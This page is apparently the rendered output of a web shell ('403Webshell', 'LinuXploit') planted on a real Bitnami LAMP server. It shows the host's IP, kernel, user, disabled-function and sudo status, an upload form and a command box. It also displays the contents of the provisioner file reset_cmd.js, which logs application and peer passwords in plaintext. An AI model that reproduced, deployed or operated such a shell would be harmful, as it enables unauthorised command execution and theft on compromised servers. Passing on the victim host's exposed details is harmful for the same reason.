403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/nami/node_modules/provisioner/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/nami/node_modules/provisioner/lib/reset_cmd.js
"use strict";
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
    return new (P || (P = Promise))(function (resolve, reject) {
        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
        function step(result) { result.done ? resolve(result.value) : new P(function (resolve) { resolve(result.value); }).then(fulfilled, rejected); }
        step((generator = generator.apply(thisArg, _arguments || [])).next());
    });
};
Object.defineProperty(exports, "__esModule", { value: true });
const nami_wrapper_1 = require("./nami_wrapper");
class ResetProvisioner {
    get logger() {
        return this.cli.provisioner.logger;
    }
    constructor(cli) {
        this.cli = cli;
        this.provisioner = cli.provisioner;
        this.parser = cli.parser;
        this.supportedSubcommands = ["clean", "download", "extract", "bootstrap", "restore", "all"];
        this.baseBundleDir = "/tmp/provisioner_reset/bundles";
        this.provisionerBundleFile = nami_wrapper_1.file.join(this.baseBundleDir, "latest");
        this.baseBackupDir = "/tmp/provisioner_reset/backups";
        this.backupDir = nami_wrapper_1.file.join(this.baseBackupDir, "latest");
        this.backupItems = [
            // "/etc/init.d/bitnami",
            "/etc/gonit/gonitrc",
            "/usr/bin/gonit",
            "/usr/bin/monit",
            "/root/.provisioner/",
            "/root/.nami/",
            "/opt/bitnami/",
        ];
        this.backupItems = this.backupItems.concat(nami_wrapper_1.file.glob(["/etc/logrotate.d/com.bitnami.*", "/bitnami/*"]));
        this.dateString = new Date().toISOString().replace(/[T]/g, "-").replace(/(:|\..+$)/g, "");
        this.provisionerBinary = "/opt/bitnami/nami/bin/provisioner";
        this.configFile = "/root/.provisioner/configuration.json";
    }
    /**
     * Handler for reset CLI command
     */
    mainCommand() {
        return __awaiter(this, void 0, void 0, function* () {
            yield this._initializeProperties();
            this._validate();
            if (this.subcommand === "clean") {
                yield this.clean();
            }
            else if (this.subcommand === "download") {
                this.download();
            }
            else if (this.subcommand === "extract") {
                this.extract();
            }
            else if (this.subcommand === "bootstrap") {
                yield this.bootstrap();
            }
            else if (this.subcommand === "restore") {
                yield this.restore();
            }
            else {
                yield this.clean();
                try {
                    this.download();
                    this.extract();
                    yield this.bootstrap();
                }
                catch (e) {
                    this.logger.error(e);
                    yield this.restore();
                }
            }
        });
    }
    clean() {
        return __awaiter(this, void 0, void 0, function* () {
            yield this._stop();
            yield this._backup();
        });
    }
    download() {
        this.logger.info("==> Downloading provisioner bundle:", this.provisionerBundleUrl);
        const provisionerBundleFile = nami_wrapper_1.file.join(this.baseBundleDir, `${this.dateString}.tar.gz`);
        nami_wrapper_1.os.runProgram("curl", ["-Lo", provisionerBundleFile, this.provisionerBundleUrl]);
        nami_wrapper_1.file.link(provisionerBundleFile, this.provisionerBundleFile, { force: true });
    }
    extract() {
        this.logger.info("==> Extracting provisioner bundle...");
        nami_wrapper_1.os.runProgram("tar", ["xzf", this.provisionerBundleFile, "-C", "/"]);
    }
    bootstrap() {
        return __awaiter(this, void 0, void 0, function* () {
            this._restoreConfig();
            yield this._getPasswords();
            this._umount();
            yield this._install();
            yield this._start();
        });
    }
    restore() {
        return __awaiter(this, void 0, void 0, function* () {
            this.logger.warn("==> Restoring backup...");
            this.logger.info("==> Restoring files and directories from:", this.backupDir);
            const itemsToRestore = this.backupItems.filter(f => nami_wrapper_1.file.exists(nami_wrapper_1.file.join(this.backupDir, f)));
            nami_wrapper_1.file.delete(itemsToRestore);
            itemsToRestore.forEach(dest => nami_wrapper_1.os.runProgram("cp", ["-rp", nami_wrapper_1.file.join(this.backupDir, dest), dest]));
            this.logger.info("==> Files restored. You might need to restart the services and mount volumes.");
        });
    }
    _initializeProperties() {
        return __awaiter(this, void 0, void 0, function* () {
            this.provisioner.initializeLogger({ logLevel: this.parser.getOption("log-level").getValue() });
            yield this.provisioner.initializeProvisioner();
            this.provisioner.skipRecipes = ["remove-passwords"];
            const subcommand = this.parser.selectedCommand.arguments.subcommand;
            this.subcommand = subcommand ? subcommand : "all"; // Execute everything if no subcommand is provided
            if (this.parser.selectedCommand.getOption("provisioner-bundle-url").provided) {
                this.provisionerBundleUrl = this.parser.selectedCommand.getOption("provisioner-bundle-url").getValue();
            }
            nami_wrapper_1.file.mkdir(this.baseBundleDir);
            nami_wrapper_1.file.mkdir(this.baseBackupDir);
        });
    }
    _validate() {
        if (process.getuid() !== 0) {
            this.logger.error("Please, run this command as root");
            process.exit(1);
        }
        if (!this.supportedSubcommands.includes(this.subcommand)) {
            this.logger.error("Please, specify a valid command:", this.supportedSubcommands);
            process.exit(1);
        }
        if (["all", "download"].includes(this.subcommand)) {
            if (!this.parser.selectedCommand.getOption("provisioner-bundle-url").provided) {
                this.logger.error("Please, specify the --provisioner-bundle-url");
                process.exit(1);
            }
        }
    }
    _start() {
        return __awaiter(this, void 0, void 0, function* () {
            this.logger.info("==> Starting services...");
            yield this.provisioner.serviceCommand("start");
        });
    }
    _stop() {
        return __awaiter(this, void 0, void 0, function* () {
            this.logger.info("==> Stopping services...");
            yield this.provisioner.serviceCommand("stop");
        });
    }
    _install(cmd = "firstboot") {
        return __awaiter(this, void 0, void 0, function* () {
            this.logger.info("==> Executing bootstrap:", cmd);
            if (cmd === "firstboot") {
                nami_wrapper_1.os.runProgram("touch", "/proc"); // Mock platform.getUniqueBootId()
                yield this.cli.firstbootCommand();
            }
            else if (cmd === "initialize") {
                yield this.cli.initializeCommand(true);
            }
            else {
                throw new Error(`==> ${cmd} is a supported command.`);
            }
        });
    }
    _backup() {
        return __awaiter(this, void 0, void 0, function* () {
            const backupDir = nami_wrapper_1.file.join(this.baseBackupDir, this.dateString);
            this.logger.info("==> Backing up files and directories to:", backupDir);
            nami_wrapper_1.file.mkdir(backupDir);
            const backupItemsThatExist = this.backupItems.filter(f => nami_wrapper_1.file.exists(f));
            backupItemsThatExist.forEach(origin => nami_wrapper_1.file.move(origin, nami_wrapper_1.file.join(backupDir, origin)));
            nami_wrapper_1.file.link(backupDir, this.backupDir, { force: true });
            // The following files keep provisioner working
            nami_wrapper_1.file.mkdir(nami_wrapper_1.file.dirname(this.provisionerBinary));
            nami_wrapper_1.file.link(nami_wrapper_1.file.join(this.backupDir, this.provisionerBinary), this.provisionerBinary, { force: true });
            nami_wrapper_1.file.copy(nami_wrapper_1.file.join(this.backupDir, this.configFile), this.configFile);
        });
    }
    _umount() {
        const bitnamiTargets = nami_wrapper_1.os.runProgram("df", "--output=target")
            .split("\n").filter(target => target.includes("bitnami"));
        this.logger.info("==> Umounting volumes:", bitnamiTargets);
        bitnamiTargets.forEach(target => nami_wrapper_1.os.runProgram("umount", target));
    }
    _restoreConfig() {
        const destination = "/root/.provisioner/configuration.json";
        this.logger.info("==> Restoring provisioner config file:", destination);
        nami_wrapper_1.file.copy(nami_wrapper_1.file.join(this.backupDir, destination), destination);
    }
    _getPasswords() {
        return __awaiter(this, void 0, void 0, function* () {
            this.logger.info("==> Retrieving passwords...");
            yield this.provisioner.initializeCloudValues();
            const userDataFile = "/var/lib/cloud/instance/user-data.txt";
            // Application password
            if (this.provisioner.appPassword) {
                // Do nothing
            }
            else if (this.parser.getOption("app-password").provided) {
                this.provisioner.appPassword = this.parser.getOption("app-password").getValue();
            }
            else if (nami_wrapper_1.file.exists(userDataFile)) {
                const match = nami_wrapper_1.file.read(userDataFile).match(/--app-password "([^"]*)"/);
                if (match) {
                    this.provisioner.appPassword = match[1];
                }
            }
            else {
                this.logger.warn("==> The application password couldn't be retrieved. Please, provide it as a flag.");
            }
            // Peer password
            if (this.provisioner.peerPassword) {
                // Do nothing
            }
            else if (this.parser.getOption("peer-password").provided) {
                this.provisioner.peerPassword = this.parser.getOption("peer-password").getValue();
            }
            else if (nami_wrapper_1.file.exists(userDataFile)) {
                const match = nami_wrapper_1.file.read(userDataFile).match(/--peer-password "([^"]*)"/);
                if (match) {
                    this.provisioner.peerPassword = match[1];
                }
            }
            else {
                this.logger.warn("==> The peer password couldn't be retrieved. Please, provide it as a flag.");
            }
            this.logger.info("==> appPassword:", this.provisioner.appPassword);
            this.logger.info("==> peerPassword:", this.provisioner.peerPassword);
            this.provisioner.saveConfiguration();
        });
    }
}
exports.ResetProvisioner = ResetProvisioner;

Youez - 2016 - github.com/yon3zu
LinuXploit